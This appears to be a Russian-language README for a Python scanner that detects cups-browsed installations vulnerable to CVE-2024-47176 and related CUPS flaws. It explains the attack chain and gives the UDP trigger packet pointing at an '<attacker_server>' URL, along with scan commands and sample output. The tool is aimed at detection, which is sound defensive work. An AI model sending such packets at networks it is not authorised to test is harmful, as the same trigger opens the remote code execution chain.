
Простой сканер для выявления уязвимых экземпляров cups-browsed в вашей сети
Пример использования: python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337
CUPS (Common Unix Printing System) — это фреймворк с открытым исходным кодом для управления и контроля принтеров в UNIX и UNIX-подобных системах. Это одна из наиболее широко используемых библиотек для печати, поддерживаемая UNIX, Linux и некоторыми устройствами Apple.
В CUPS было обнаружено несколько критических уязвимостей, которые в совокупности могут привести к удалённому выполнению кода. Рассматриваемые CVE: CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177.
Эти уязвимости позволяют удалённому злоумышленнику добавить или перенастроить сетевые принтеры таким образом, что они будут выполнять произвольный код, когда пользователи попытаются печатать с них.
Первая уязвимость в цепочке, CVE-2024-47176, представляет собой ошибку в демоне cups-browsed.
Уязвимость возникает из-за того, что cups-browsed привязывает свой контрольный порт (UDP-порт 631) к INADDR_ANY, делая его доступным для всех. Поскольку запросы не аутентифицируются, любой, кто может достичь контрольного порта, может дать команду cups-browsed на обнаружение принтера.
В случаях, когда порт недоступен из интернета (из-за межсетевых экранов или NAT), он может быть доступен через локальную сеть, что позволяет повысить привилегии и перемещаться по сети. По этой причине я создал этот сканер для обнаружения уязвимых экземпляров cups-browsed в вашей локальной сети.
Обычно атакующий начинает процесс эксплуатации, отправляя специально сформированный запрос к cups-browsed на UDP-порт 631, заставляя его обратиться к вредоносному URL под своим контролем.
Например, UDP-пакет, содержащий следующее: 0 3 http://<attacker_server>/printers/malicious_printer заставит cups-browsed выполнить HTTP-запрос к http://<attacker_server>/printers/malicious_printer.
Если URL представит себя как вредоносный принтер, это может запустить цепочку остальных CVE для получения удалённого выполнения кода.
Используя этот механизм, мы можем заставить уязвимый экземпляр cups-browsed выполнить HTTP-запрос (callback) на наш собственный сервер, идентифицируя себя как уязвимый.
Процесс сканирования выглядит следующим образом:
/printers/, которые инициируются уязвимыми экземплярами cups-browsed.Предположим, наш HTTP-сервер работает на 10.0.0.1:1337, тогда наш UDP-пакет должен выглядеть так: 0 3 http://10.0.0.1:1337/printers/test1234
Этот сканер на Python обрабатывает всё за вас (как HTTP-сервер, так и сканирование).
Скрипт запускает временный HTTP-сервер через http.server на указанном IP и порту, затем формирует и отправляет UDP-пакеты на каждый IP в заданном диапазоне. HTTP-сервер автоматически перехватывает обратные вызовы от уязвимых экземпляров cups-browsed и записывает их на диск.
Удобочитаемые логи сохраняются в logs/cups.log, а сырые HTTP-запросы — в logs/requests.log
--target
CIDR для сканирования. Может быть одним CIDR или несколькими CIDR, разделёнными запятыми.
--callback локальный IP и порт для размещения нашего HTTP-сервера (должен быть доступен из целевого диапазона)
--scan-unsafe по умолчанию мы сканируем только назначаемые адреса хостов (исключая сетевой адрес и широковещательный адрес).
В некоторых случаях может быть желательно сканировать эти адреса, поэтому такое поведение можно изменить с помощью флага --scan-unsafe.
Сканирование CIDR 10.0.0.0/24 с IP-адреса 10.0.0.1, размещение сервера обратного вызова на порту 1337:
python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337
Сканирование нескольких CIDR с IP-адреса 10.0.0.1, размещение сервера обратного вызова на порту 1337:
python3 cups_scanner.py --targets 10.0.0.0/24,10.0.1.0/24 --callback 10.0.0.1:1337
примечание: IP-адрес сервера обратного вызова должен принадлежать хосту, с которого выполняется сканирование, а порт должен быть доступен со всех целевых IP.
<root@haxx> python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.0.1:1337
[2024-10-06 21:57:09] starting callback server on 10.0.0.1:1337
[2024-10-06 21:57:14] callback server running on port 10.0.0.1:1337...
[2024-10-06 21:57:14] starting scan
[2024-10-06 21:57:14] scanning range: 10.0.0.1 - 10.0.0.254
[2024-10-06 21:57:14] scan done, use CTRL + C to callback stop server
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.22 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.25 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:17] shutting down server and exiting...
подробнее см.: Official CUPS Vulnerability Write Up